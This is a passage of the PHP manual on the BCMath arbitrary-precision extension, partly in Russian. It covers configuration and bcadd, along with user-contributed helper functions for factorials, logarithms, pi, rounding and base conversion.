    var_dump(getBcRound('5.0445', 1) == number_format('5.05', 1));
    var_dump(getBcRound('5.0445', 0) == number_format('5.0', 0));//
    var_dump(getBcRound('5.04455', 2) == number_format('5.045', 2));
    var_dump(getBcRound('99.999', 2) == number_format('100.000', 2));
    var_dump(getBcRound('99.999') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', 'a') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', -1.5) == number_format('99.999', 0));
    var_dump(getBcRound('-0.00001', 2) == number_format('-0.000', 2));
    var_dump(getBcRound('-0.0000', 2) == number_format('0', 2));
    var_dump(getBcRound('-4.44455', 2) == number_format('-4.445', 2));
    var_dump(getBcRound('-4.44555', 0) == number_format('-4.5', 0));
    var_dump(getBcRound('-4.444444444444444444444444444444444444444444445', 0) == number_format('-4.5', 0));
Hayley Watson 26-Oct-2015 01:30
This extension is an interface to the GNU implementation as a library of the Basic Calculator utility by Philip Nelson; hence the name.
volek at adamv dot cz 15-Jan-2015 01:44
Note that when you use implementation of factorial that ClaudiuS made, you get results even if you try to calculate factorial of number that you normally can't, e.g. 2.5, -2, etc. Here is safer implementation:
<?php
/**
 * Calculates a factorial of given number.
 * @param string|int $num
 * @throws InvalidArgumentException
 * @return string
 */
function bcfact($num)
{
    if (!filter_var($num, FILTER_VALIDATE_INT) || $num <= 0) {
        throw new InvalidArgumentException(sprintf('Argument must be natural number, "%s" given.', $num));
    }

    for ($result = '1'; $num > 0; $num--) {
        $result = bcmul($result, $num);
    }

    return $result;
}
?>
George Lund 20-May-2014 12:48
It's worth noting that this library is named very wrongly.

It may be called 'Binary Calculator', but what you're getting is a decimal calculator that can represent base-10 fractions accurately.
ClaudiuS 19-Feb-2013 02:25
Needed to compute some permutations and found the BC extension great but poor on functions, so untill this gets implemented here's the factorial function:

<?php
/* BC FACTORIAL
 * n! = n * (n-1) * (n-2) .. 1 [eg. 5! = 5 * 4 * 3 * 2 * 1 = 120]
 */
function bcfact($n){
    $factorial=$n;
    while (--$n>1) $factorial=bcmul($factorial,$n);
    return $factorial;
}

print bcfact(50);
//30414093201713378043612608166064768844377641568960512000000000000
?>


Введение

Для вычислений с произвольной точностью PHP предоставляет BCMath, который поддерживает числа любого размера и точности, вплоть до 2147483647 (или 0x7FFFFFFF) десятичных знаков, если хватит памяти, представленных в виде строк.

Допустимые (также известные как правильно сформированные) числа BCMath - это строки, соответствующие регулярному выражению /^[+-]?[0-9]*(\.[0-9]*)?$/.

Предостережение

Передача в функции BCMath аргументов типа float, в то время как они ожидают строки могут привести к неожиданным результатам, из-за используемого PHP алгоритма преобразования float в string, например можно получить строку содержащую число в экспоненциальной нотации (который не поддерживается BCMath), или, до PHP 8.0.0, в зависимости от локали, десятичный разделитель в виде запятой (тогда как BCMath работает только с десятичной точкой).

<?php
$num1 = 0; // (string) 0 => '0'
$num2 = -0.000005; // (string) -0.000005 => '-5.05E-6'
echo bcadd($num1, $num2, 6); // => '0.000000'

setlocale(LC_NUMERIC, 'de_DE'); // десятичная запятая вместо точки
$num2 = 1.2; // (string) 1.2 => '1,2'
echo bcsub($num1, $num2, 1); // => '0.0'
?>

User Contributed Notes

There are no user contributed notes for this page.


Установка

Функции доступны, только если PHP сконфигурирован с включённой настройкой --enable-bcmath.

Версия PHP для Windows имеет встроенную поддержку данного модуля. Это означает, что для использования данных функций не требуется загрузка никаких дополнительных модулей.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Настройки конфигурации BC-вычислений
Имя | По умолчанию | Место изменения | Список изменений
bcmath.scale | "0" | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

bcmath.scale int

Число десятичных цифр для всех bcmath-функций. Смотрите также bcscale().

User Contributed Notes

There are no user contributed notes for this page.


Функции BC Math

Содержание

  • bcadd — Сложить 2 числа произвольной точности
  • bccomp — Сравнение двух чисел произвольной точности
  • bcdiv — Операция деления для чисел произвольной точности
  • bcmod — Получает остаток от деления чисел с произвольной точностью
  • bcmul — Умножение двух чисел с произвольной точностью
  • bcpow — Возведение в степень чисел с произвольной точностью
  • bcpowmod — Возводит одно число в степень другого и возвращает остаток от деления результата на третье число
  • bcscale — Устанавливает или получает количество чисел после десятичной точки по умолчанию для всех функций bc math.
  • bcsqrt — Извлекает квадратный корень из числа с заданной точностью
  • bcsub — Вычитает одно число из другого с заданной точностью

User Contributed Notes

eyadbere at gmail dot com 18-Aug-2020 11:02
If your calculations involves input from users don't forget to set a limit on the range and/or the length of the input because very huge numbers requires intensive processing and you might reach a point where your server can't do any further processing
kmeissen at gmx dot de 24-Jun-2016 10:05
/*
 * Computes ln(x) very fast even with high resolution
 * uses standard log()-function to optimise convergence of
 * ln(1+x) = x - x*x/2 + x*x*x/3 - ...
 *
 * example:
 * bcscale(1000);
 * $x = bcln("1000000");
 *
 * result:
 * $x = 13.81551055796427410410794872810618524560660893...
 * within 0.9 sec, that are 80 iterations
 *
 * @author Klaus Meissen, Germany
 * @license Public domain
*/
function bcln($value) // value > 0
{
    $m = (string)log($value);
    $x = bcsub(bcdiv($value,bcexp($m)),"1");
    $res = "0";
    $xpow = "1";
    $i=0;
    do
    {
        $i++;
        $xpow = bcmul($xpow,$x);
        $sum = bcdiv($xpow, $i);
        if ($i%2==1)
        {
            $res = bcadd($res, $sum);
        }else{
            $res = bcsub($res, $sum);
        }
    }
    while (bccomp($sum, '0'));
    return bcadd($res,$m);
}
mail at djordjeungar dot com 14-Oct-2013 01:43
Inspired by dawidgarus' implementation, here's my simple bc math helper, it does not support function calls, but supports boolean comparisons and is about ~40% faster.

<?php
function bc() {
    $argv = func_get_args();
    $string = str_replace(' ', '', "({$argv[0]})");

    $operations = array();
    if (strpos($string, '^') !== false) $operations[] = '\^';
    if (strpbrk($string, '*/%') !== false) $operations[] = '[\*\/\%]';
    if (strpbrk($string, '+-') !== false) $operations[] = '[\+\-]';
    if (strpbrk($string, '<>!=') !== false) $operations[] = '<|>|=|<=|==|>=|!=|<>';

    $string = preg_replace('/\$([0-9\.]+)/e', '$argv[$1]', $string);
    while (preg_match('/\(([^\)\(]*)\)/', $string, $match)) {
        foreach ($operations as $operation) {
            if (preg_match("/([+-]{0,1}[0-9\.]+)($operation)([+-]{0,1}[0-9\.]+)/", $match[1], $m)) {
                switch($m[2]) {
                    case '+':  $result = bcadd($m[1], $m[3]); break;
                    case '-':  $result = bcsub($m[1], $m[3]); break;
                    case '*':  $result = bcmul($m[1], $m[3]); break;
                    case '/':  $result = bcdiv($m[1], $m[3]); break;
                    case '%':  $result = bcmod($m[1], $m[3]); break;
                    case '^':  $result = bcpow($m[1], $m[3]); break;
                    case '==':
                    case '=':  $result = bccomp($m[1], $m[3]) == 0; break;
                    case '>':  $result = bccomp($m[1], $m[3]) == 1; break;
                    case '<':  $result = bccomp($m[1], $m[3]) ==-1; break;
                    case '>=': $result = bccomp($m[1], $m[3]) >= 0; break;
                    case '<=': $result = bccomp($m[1], $m[3]) <= 0; break;
                    case '<>':
                    case '!=': $result = bccomp($m[1], $m[3]) != 0; break;
                }
                $match[1] = str_replace($m[0], $result, $match[1]);
            }
        }
        $string = str_replace($match[0], $match[1], $string);
    }

    return $string;
}
?>
dawidgarus at gmail dot com 28-Dec-2011 10:22
If you too are confused with illegible code like this:
<?php
$a = "3";
$b = "5";
bcadd(bcmod(bcadd(bcdiv(bcsqrt(bcadd(7, bcpow($a, 2))), 4), $b), "4"), "0.5"); // i might made a mistake somewhere
?>

You may consider use my function, which makes example above look:
<?php
bc("(sqrt(7 + $1^2) / 4 + $2) % 4 + 0.5", "3", "5");
?>

Code:
<?php

function bc() {
        $functions = 'sqrt';
        // list of | separated functions
        // sqrt refer to bcsqrt etc.
        // function must take exactly 1 argument

        $argv = func_get_args();
        $string = str_replace(' ', '', '('.$argv[0].')');
        $string = preg_replace('/\$([0-9\.]+)/e', '$argv[$1]', $string);
        while (preg_match('/(('.$functions.')?)\(([^\)\(]*)\)/', $string, $match)) {
                while (
                        preg_match('/([0-9\.]+)(\^)([0-9\.]+)/', $match[3], $m) ||
                        preg_match('/([0-9\.]+)([\*\/\%])([0-9\.]+)/', $match[3], $m) ||
                        preg_match('/([0-9\.]+)([\+\-])([0-9\.]+)/', $match[3], $m)
                ) {
                        switch($m[2]) {
                                case '+': $result = bcadd($m[1], $m[3]); break;
                                case '-': $result = bcsub($m[1], $m[3]); break;
                                case '*': $result = bcmul($m[1], $m[3]); break;
                                case '/': $result = bcdiv($m[1], $m[3]); break;
                                case '%': $result = bcmod($m[1], $m[3]); break;
                                case '^': $result = bcpow($m[1], $m[3]); break;
                        }
                        $match[3] = str_replace($m[0], $result, $match[3]);
                }
                if (!empty($match[1]) && function_exists($func = 'bc'.$match[1]))  {
                        $match[3] = $func($match[3]);
                }
                $string = str_replace($match[0], $match[3], $string);
        }
        return $string;
}

?>

Note you must define scale with bcscale().
artefact2 at gmail dot com 29-Jul-2010 06:18
Here are some useful functions to convert large hex numbers from and to large decimal ones :

<?php
    public static function bchexdec($hex) {
        if(strlen($hex) == 1) {
            return hexdec($hex);
        } else {
            $remain = substr($hex, 0, -1);
            $last = substr($hex, -1);
            return bcadd(bcmul(16, bchexdec($remain)), hexdec($last));
        }
    }

    public static function bcdechex($dec) {
        $last = bcmod($dec, 16);
        $remain = bcdiv(bcsub($dec, $last), 16);

        if($remain == 0) {
            return dechex($last);
        } else {
            return bcdechex($remain).dechex($last);
        }
    }
thomas at tgohome dot com 14-Nov-2009 03:17
Some useful bcmath functions:

<?php

/*
 * Computes the factoral (x!).
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcfact($fact, $scale = 100)
{
    if($fact == 1) return 1;
    return bcmul($fact, bcfact(bcsub($fact, '1'), $scale), $scale);
}

/*
 * Computes e^x, where e is Euler's constant, or approximately 2.71828.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcexp($x, $iters = 7, $scale = 100)
{
    /* Compute e^x. */
    $res = bcadd('1.0', $x, $scale);
    for($i = 0; $i < $iters; $i++)
    {
        $res += bcdiv(bcpow($x, bcadd($i, '2'), $scale), bcfact(bcadd($i, '2'), $scale), $scale);
    }
    return $res;
}

/*
 * Computes ln(x).
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcln($a, $iters = 10, $scale = 100)
{
    $result = "0.0";

    for($i = 0; $i < $iters; $i++)
    {
        $pow = bcadd("1.0", bcmul($i, "2.0", $scale), $scale);
        //$pow = 1 + ($i * 2);
        $mul = bcdiv("1.0", $pow, $scale);
        $fraction = bcmul($mul, bcpow(bcdiv(bcsub($a, "1.0", $scale), bcadd($a, "1.0", $scale), $scale), $pow, $scale), $scale);
        $result = bcadd($fraction, $result, $scale);
    }

    $res = bcmul("2.0", $result, $scale);
    return $res;
}

/*
 * Computes a^b, where a and b can have decimal digits, be negative and/or very large.
 * Also works for 0^0. Only able to calculate up to 10 digits. Quite slow.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcpowx($a, $b, $iters = 25, $scale = 100)
{
    $ln = bcln($a, $iters, $scale);
    return bcexp(bcmul($ln, $b, $scale), $iters, $scale);
}

$precision = 35;

echo "3^4.5,          precision 15, iters 25 = " . bcpowx('3', '4.5', 25, $precision) . "\n";
echo "4.5^3,          precision 15, iters 25 = " . bcpowx('4.5', '3', 25, $precision) . "\n";
echo "8^1/2,          precision 15, iters 25 = " . bcpowx('8', '0.5', 25, $precision) . "\n";
echo "28^-1,          precision 15, iters 25 = " . bcpowx('28', '-1', 25, $precision) . "\n";
echo "432^0,          precision 15, iters 25 = " . bcpowx('432', '0', 25, $precision) . "\n";
echo "0^0,            precision 15, iters 25 = " . bcpowx('0.0', '0', 25, $precision) . "\n";
echo "9^999,          precision 15, iters 25 = " . bcpowx('9', '999', 25, $precision) . "\n";
echo "9^9999,         precision 15, iters 25 = " . bcpowx('9', '9999', 25, $precision) . "\n";
echo "9^99999,        precision 15, iters 25 = " . bcpowx('9', '99999', 25, $precision) . "\n";
echo "9^999999,       precision 15, iters 25 = " . bcpowx('9', '999999', 25, $precision) . "\n";
echo "9^9999999,      precision 15, iters 25 = " . bcpowx('9', '9999999', 25, $precision) . "\n";
echo "9^99999999,     precision 15, iters 25 = " . bcpowx('9', '99999999', 25, $precision) . "\n";
echo "9^999999999,    precision 15, iters 25 = " . bcpowx('9', '999999999', 25, $precision) . "\n";
echo "9^9999999999,   precision 15, iters 25 = " . bcpowx('9', '9999999999', 25, $precision) . "\n";
echo "9^99999999999,  precision 15, iters 25 = " . bcpowx('9', '99999999999', 25, $precision) . "\n";
echo "9^999999999999, precision 15, iters 25 = " . bcpowx('9', '999999999999', 25, $precision) . "\n";

?>
francois dot barbier at gmail dot com 12-Aug-2009 10:19
As "benjcarson at digitaljunkies dot ca" (http://www.php.net/ref.bc.php#23038) noted in the first two comments, bcmath doesn't accept exponential notation.

Moreover, you might have other problems if you feed the bcmath functions directly with floating point numbers.
Consider the following example:
<?php
bcscale(1);
$a = 0.8;
$b = 0.7;
var_dump((string) $a);   // string(3) "0.8"
var_dump((string) $b);   // string(3) "0.a"
var_dump(bcadd($a, $b)); // string(3) "1.5"
setLocale(LC_ALL, 'fr_BE.UTF-8');
var_dump((string) $a);   // string(3) "0,8" --> note the comma
var_dump((string) $b);   // string(3) "0,7" --> note the comma
var_dump(bcadd($a, $b)); // string(3) "0.0"
?>
The floating point numbers passed to the bcadd() function are automatically converted to string using the localized decimal separator. However, the bcmath functions always use a full stop, which results in the last result being incorrect.

Below is a function to convert floating point numbers to strings correctly. It takes care of the decimal separator and the exponential notation. It also preserve the precision without drifting away (e.g. 1.0 doesn't become 0.99999...)
<?php
/**
 * Convert a number to locale independent string without E notation and without
 * loosing precision
 *
 * @param      int/float/double $fNumber The number to convert.
 * @return     string The locale independent converted number.
 */
function bcconv($fNumber)
{
    $sAppend = '';
    $iDecimals = ini_get('precision') - floor(log10(abs($fNumber)));
    if (0 > $iDecimals)
    {
        $fNumber *= pow(10, $iDecimals);
        $sAppend = str_repeat('0', -$iDecimals);
        $iDecimals = 0;
    }
    return number_format($fNumber, $iDecimals, '.', '').$sAppend;
}
?>

Example:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$precision = ini_get('precision') + 2; // should give 16
bcscale($precision);
$big = pow(10, $precision);
$small = 1 / $big;
var_dump(bcconv($big + $small));               // string(17) "10000000000000000"
var_dump(bcadd($big, $small));                 // string(18) "0.0000000000000000"
var_dump(bcadd(bcconv($big), bcconv($small))); // string(34) "10000000000000000.0000000000000001"
?>
The first result's precision loss is due to PHP's internal floating point numbers' representation.
The second result is wrong because of the localized decimal separator.
Finally, the last result is correct.
Charles 13-Aug-2008 10:04
Function to round bc string:

<?php
function bcround($strval, $precision = 0) {
    if (false !== ($pos = strpos($strval, '.')) && (strlen($strval) - $pos - 1) > $precision) {
        $zeros = str_repeat("0", $precision);
        return bcadd($strval, "0.{$zeros}5", $precision);
    } else {
        return $strval;
    }
}
?>
Bouke Haarsma 29-Mar-2008 03:40
Please be aware not to use/have spaces in your strings. It took me a while to find the error in some advanced calculations!

<?php
echo bcadd("1", "2"); // 3
echo bcadd("1", "2 "); // 1
echo bcadd("1", " 2"); // 1
?>
udochen at gmail dot com 27-Feb-2007 11:48
Code below implements standard rounding on 5 or higer round up, else don't round.  There wasn't a round function for the BC functions, so here is a simple one that works. Same args as round, except takes strings and returns a string for more BC operations.

----------------

function roundbc($x, $p) {

     $x = trim($x);
     $data = explode(".",$x);

     if(substr($data[1],$p,1) >= "5") {

           //generate the add string.
           $i=0;
           $addString = "5";
           while($i < $p) {
               $addString = "0" . $addString;
               $i++;
           }//end while.
           $addString = "." . $addString;

           //now add the addString to the original fraction.
           $sum = bcadd($data[0] . "." . $data   [1],$addString,$p+1);

           //explode the result.
           $sumData = explode(".",$sum);

           //now, return the correct precision on the rounded number.
           return $sumData[0] . "." . substr($sumData[1],0,$p);

      } else {

           //don't round the value and return the orignal to the desired
           //precision or less.
           return $data[0] . "." . substr($data[1],0,$p);

      }//end if/else.

   }//end roundbc.
mgcclx at gmail dot com 29-Jan-2007 06:52
I wrote this function with many BCMath functions. It should be the fastest function in PHP to find the number pi into any precision, my test is it generate 2000 digits after the dot in 8 seconds. I don't think you need anything more than that.
<?php
//bcpi function with Gauss-Legendre algorithm
//by Chao Xu (Mgccl)
function bcpi($precision){
    $limit = ceil(log($precision)/log(2))-1;
    bcscale($precision+6);
    $a = 1;
    $b = bcdiv(1,bcsqrt(2));
    $t = 1/4;
    $p = 1;
    while($n < $limit){
        $x = bcdiv(bcadd($a,$b),2);
        $y = bcsqrt(bcmul($a, $b));
        $t = bcsub($t, bcmul($p,bcpow(bcsub($a,$x),2)));
        $a = $x;
        $b = $y;
        $p = bcmul(2,$p);
        ++$n;
    }
    return bcdiv(bcpow(bcadd($a, $b),2),bcmul(4,$t),$precision);
}
?>
marcus at synchromedia dot co dot uk 09-Aug-2006 09:17
Oops, first posting contained wrong code... sorry.
An amendment to the entry by pulstar at mail dot com - the digits() function can be made much faster (remove the line breaks from the big string, and make sure you don't miss any characters!):

function digits2($base) {
    if($base < 64) {
        return substr('0123456789abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ-_', 0, $base);
    } else {
        return substr("\x0\x1\x2\x3\x4\x5\x6\x7\x8\x9\xa\xb\xc\xd
\xe\xf\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
\x1e\x1f\x20!\x22#\x24%&'()*+,-./0123456789:;<=>
\x3f@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]
^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95
\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5
\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5
\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5
\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5
\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5
\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6
\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff", 0, $base);
    }
}

in my benchmarks, this is around 150x faster for 256 digits
stonehew ut gm a il det com 24-Nov-2004 09:31
Like any other bc function, you can't trust the last couple of digits, but everything else seems to check out.  If you want to use this for anything important, you may want to verify this against other sources of pi before use.  This function calculates 100 decimal places of pi in 329 iterations -- not exactly fast (each iteration calls the factorial function, from below, twice), so I try to avoid calling it more than once.

<?
//arbitrary precision pi approximator
//author tom boothby
//free for any use

function bcpi() {
    $r=2;
    $i=0;
    $or=0;

    while(bccomp($or,$r)) {
        $i++;
        $or=$r;
        $r = bcadd($r,bcdiv(bcmul(bcpow(bcfact($i),2),
                        bcpow(2,$i+1)),bcfact(2*$i+1)));
    }

    return $r;
}

?>
stonehew et g m a i l dut com 23-Nov-2004 11:20
I hacked these taylor expansions up to make diagrams for some physics homework.  I don't think you'll be wanting to do any real science with PHP... but what the hell, why not?  I plan to implement either a spigot algorithm or something similar to generate pi in the near future.

<?
// arbitrary precision sin and cosine functions
// author tom boothby
// free for any use

function bcfact($n) {
    $r = $n--;
    while($n>1) $r=bcmul($r,$n--);
    return $r;
}

function bcsin($a) {
    $or= $a;
    $r = bcsub($a,bcdiv(bcpow($a,3),6));
    $i = 2;
    while(bccomp($or,$r)) {
        $or=$r;
        switch($i%2) {
          case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
          default: $r = bcsub($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
        }
        $i++;
    }
    return $r;
}

function bccos($a) {
    $or= $a;
    $r = bcsub(1,bcdiv(bcpow($a,2),2));
    $i = 2;
    while(bccomp($or,$r)) {
        $or=$r;
        switch($i%2) {
          case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
          default: $r = bcsub($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
        }
        $i++;
    }
    return $r;
}

?>
Diabolos at GMail dot com 28-Oct-2004 11:42
Here's a function to compute the natural exponential function in arbitrary precision using the basic bcMath arithmetic operations.

EXAMPLE:
To compute the exponential function of 1.7 to 36 decimals:

$y = bcExp("1.7", 36);

The result:
4.331733759839529271053448625299468628

would be returned in variable $y

NOTE:
In practice, the last couple of digits may be inaccurate due to small rounding errors.  If you require a specific degree of precision, always compute 3-4 decimals beyond the required precision.

The program code for the natural exponential function is:
******************************************

  Function bcExp($xArg, $NumDecimals)

{
   $x = Trim($xArg);

   $PrevSum  = $x - 1;
   $CurrTerm = 1;
   $CurrSum  = bcAdd("1", $x, $NumDecimals);
   $n        = 1;

   While (bcComp($CurrSum, $PrevSum, $NumDecimals))

  {
   $PrevSum  = $CurrSum;
   $CurrTerm = bcDiv(bcMul($CurrTerm, $x, $NumDecimals), $n + 1, $NumDecimals);
   $CurrSum  = bcAdd($CurrSum, $CurrTerm, $NumDecimals);

   $n++;
  }

   Return $CurrSum;
}
robert at scabserver dot com 03-Jun-2004 09:58
I spent some time looking for how to generate a large random number, in the end I've settled for reading directly from /dev/urandom

I know this is a *nix only solution, but I figured that it might come in handy to someone else.

The value $size is the size in bits, it could be simplified greatly if you want the size in bytes, but bits was more helpful to what I needed.

<?php
function bcrand($size)
{
    $filename = "/dev/urandom";
    $handle = fopen($filename, "r");
    $bin_urand = fread($handle, ceil($size/8.0));
    fclose($handle);
    $mask = (($size % 8 < 5) ? '0' : '') . dechex(bindec(str_repeat('1', $size % 8))) . str_repeat('FF', floor($size/8));
    $binmask = pack("H*", $mask);
    $binrand = $binmask & $bin_urand;
    $hexnumber = unpack("H*", $binrand);
    $hexnumber = $hexnumber[''];
    $numlength = strlen($hexnumber);
    $decnumber = 0;
    for($x = 1; $x <= $numlength; $x++)
    {
        $place = $numlength - $x;
        $operand = hexdec(substr($hexnumber,$place,1));
        $exponent = bcpow(16,$x-1);
        $decValue = bcmul($operand, $exponent);
        $decnumber = bcadd($decValue, $decnumber);
    }
    return $decnumber;
}
?>
pulstar at mail dot com 15-Apr-2003 05:12
A little comment for the simplified example above: you can do base converting without BCMath functions using only math operators, but you will not able to manage very large values or work with strings to compress or scramble data. If you have BCMath installed in your system it worth use it for this.
oliver at summertime dot net 01-Mar-2003 10:12
A simplier Version of the Script above:

function dec2base($dec, $digits) {
 $value = "";
 $base  = strlen($digits);
 while($dec>$base-1) {
  $rest = $dec % $base;
  $dec  = $dec / $base;
  $value = $digits[$rest].$value;
 }
 $value = $digits[intval($dec)].$value;
 return (string) $value;
}

function base2dec($value, $digits) {
 $value = strtoupper($value);
 $base  = strlen($digits);
 $size  = strlen($value);
 $dec   = '0';
 for ($loop = 0; $loop<$size; $loop++) {
  $element = strpos($digits,$value[$loop]);
  $power   = pow($base,$size-$loop-1);
  $dec    += $element * $power;
 }
 return (string) $dec;
}

$digits = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789";
echo dec2base('1000', $digits);
pulstar at mail dot com 20-Sep-2002 07:23
A found a little fix to do in my base2dec() function:
The line "if($base<37) $value=strtolower($value);" should be removed if you want to specify another digits for your base conversions. Change it this way:

if(!$digits) {
$digits=digits($base);
if($base<37) {
$value=strtolower($value);
}
}

Another example using these functions is to generate a key for a session, to name temporary files or something else:

srand((double) microtime()*1000000);
$id=uniqid(rand(10,999));
$mykey=dec2base(base2dec($id,16),64);

$mykey is a base64 value, which is a good key for passing thru an URL and also is shorter than a MD5 string (it will be allways 11 chars long). If you need something more secure, just scramble the 64 digits in the digits() function.

Well, I hope you enjoy it.

Regards,
Edemilson Lima
pulstar at mail dot com 19-Sep-2002 08:27
A good use for BCMath functions:
The functions below can convert a number in any base (from 2 to 256) to its decimal value and vice-versa.

// convert a decimal value to any other base value
function dec2base($dec,$base,$digits=FALSE) {
    if($base<2 or $base>256) die("Invalid Base: ".$base);
    bcscale(0);
    $value="";
    if(!$digits) $digits=digits($base);
    while($dec>$base-1) {
        $rest=bcmod($dec,$base);
        $dec=bcdiv($dec,$base);
        $value=$digits[$rest].$value;
    }
    $value=$digits[intval($dec)].$value;
    return (string) $value;
}

// convert another base value to its decimal value
function base2dec($value,$base,$digits=FALSE) {
    if($base<2 or $base>256) die("Invalid Base: ".$base);
    bcscale(0);
    if($base<37) $value=strtolower($value);
    if(!$digits) $digits=digits($base);
    $size=strlen($value);
    $dec="0";
    for($loop=0;$loop<$size;$loop++) {
        $element=strpos($digits,$value[$loop]);
        $power=bcpow($base,$size-$loop-1);
        $dec=bcadd($dec,bcmul($element,$power));
    }
    return (string) $dec;
}

function digits($base) {
    if($base>64) {
        $digits="";
        for($loop=0;$loop<256;$loop++) {
            $digits.=chr($loop);
        }
    } else {
        $digits ="0123456789abcdefghijklmnopqrstuvwxyz";
        $digits.="ABCDEFGHIJKLMNOPQRSTUVWXYZ-_";
    }
    $digits=substr($digits,0,$base);
    return (string) $digits;
}

The purpose of digits() function above is to supply the characters that will be used as digits for the base you want. NOTE: You can use any characters for that when you convert to another base, but when you convert again to the decimal base, you need to use the same characters or you will get another unexpected result.


Сложить 2 числа произвольной точности

  • « Функции BC Math
  • bccomp »
  • PHP Manual
  • Функции BC Math
  • Сложить 2 числа произвольной точности

bcadd

(PHP 4, PHP 5, PHP 7, PHP 8)

bcadd — Сложить 2 числа произвольной точности

Описание

bcadd(string $num1, string $num2, ?int $scale = null): string

Складывает num1 с num2.

Список параметров

num1

Левый операнд (слагаемое) в виде строки.

num2

Правый операнд (слагаемое) в виде строки.

scale

Этот необязательный параметр используется для установки количества знаков после десятичного разделителя в результате. Если не задано, то, по умолчанию, будет использовано значение заданное глобально с помощью bcscale(), либо 0.

Возвращаемые значения

Сумма слагаемых в виде строки.

Список изменений

Версия | Описание
8.0.0 | scale теперь допускает значение null.

Примеры

Пример #1 Пример использования bcadd()

<?php

$a = '1.234';
$b = '5';

echo bcadd($a, $b); // 6
echo bcadd($a, $b, 4); // 6.2340

?>

Смотрите также

  • bcsub() - Вычитает одно число из другого с заданной точностью

User Contributed Notes

Nitrogen 15-Jul-2009 09:16
I made this to add an unlimited size of numbers together..

This could be useful for those without the BCMath extension.

It allows decimals, and optional $Scale parameter.  If $Scale isn't specified, then it'll automatically adjust to show the correct number of decimals.

<?php

function Add($Num1,$Num2,$Scale=null) {
  // check if they're valid positive numbers, extract the whole numbers and decimals
  if(!preg_match("/^\+?(\d+)(\.\d+)?$/",$Num1,$Tmp1)||
     !preg_match("/^\+?(\d+)(\.\d+)?$/",$Num2,$Tmp2)) return('0');

  // this is where the result is stored
  $Output=array();

  // remove ending zeroes from decimals and remove point
  $Dec1=isset($Tmp1[2])?rtrim(substr($Tmp1[2],1),'0'):'';
  $Dec2=isset($Tmp2[2])?rtrim(substr($Tmp2[2],1),'0'):'';

  // calculate the longest length of decimals
  $DLen=max(strlen($Dec1),strlen($Dec2));

  // if $Scale is null, automatically set it to the amount of decimal places for accuracy
  if($Scale==null) $Scale=$DLen;

  // remove leading zeroes and reverse the whole numbers, then append padded decimals on the end
  $Num1=strrev(ltrim($Tmp1[1],'0').str_pad($Dec1,$DLen,'0'));
  $Num2=strrev(ltrim($Tmp2[1],'0').str_pad($Dec2,$DLen,'0'));

  // calculate the longest length we need to process
  $MLen=max(strlen($Num1),strlen($Num2));

  // pad the two numbers so they are of equal length (both equal to $MLen)
  $Num1=str_pad($Num1,$MLen,'0');
  $Num2=str_pad($Num2,$MLen,'0');

  // process each digit, keep the ones, carry the tens (remainders)
  for($i=0;$i<$MLen;$i++) {
    $Sum=((int)$Num1{$i}+(int)$Num2{$i});
    if(isset($Output[$i])) $Sum+=$Output[$i];
    $Output[$i]=$Sum%10;
    if($Sum>9) $Output[$i+1]=1;
  }

  // convert the array to string and reverse it
  $Output=strrev(implode($Output));

  // substring the decimal digits from the result, pad if necessary (if $Scale > amount of actual decimals)
  // next, since actual zero values can cause a problem with the substring values, if so, just simply give '0'
  // next, append the decimal value, if $Scale is defined, and return result
  $Decimal=str_pad(substr($Output,-$DLen,$Scale),$Scale,'0');
  $Output=(($MLen-$DLen<1)?'0':substr($Output,0,-$DLen));
  $Output.=(($Scale>0)?".{$Decimal}":'');
  return($Output);
}

$A="5650175242.508133742";
$B="308437806.831153821478770";

printf("  Add(%s,%s);\r\n// %s\r\n\r\n",$A,$B,  Add($A,$B));
printf("BCAdd(%s,%s);\r\n// %s\r\n\r\n",$A,$B,BCAdd($A,$B));

/*
  This will produce the following..
    Add(5650175242.508133742,308437806.831153821478770);
  // 5958613049.33928756347877

  BCAdd(5650175242.508133742,308437806.831153821478770);
  // 5958613049
*/

?>

It was a fun experience making, and thought I'd share it.
Enjoy,
Nitrogen.
Bo Anders Svensson 23-May-2005 05:25
Be aware:

$exp1 = "1E5";
$exp2 = "2E4";

$ans1 = bcadd((float)$exp1, (float)$exp2, 3);
$ans2 = bcadd((int)$exp1, (int)$exp2, 3);
$ans3 = bcadd($exp1, $exp2, 3);

echo "1: $exp1 + $exp2 = $ans1\r\n";
echo "2: $exp1 + $exp2 = $ans2\r\n";
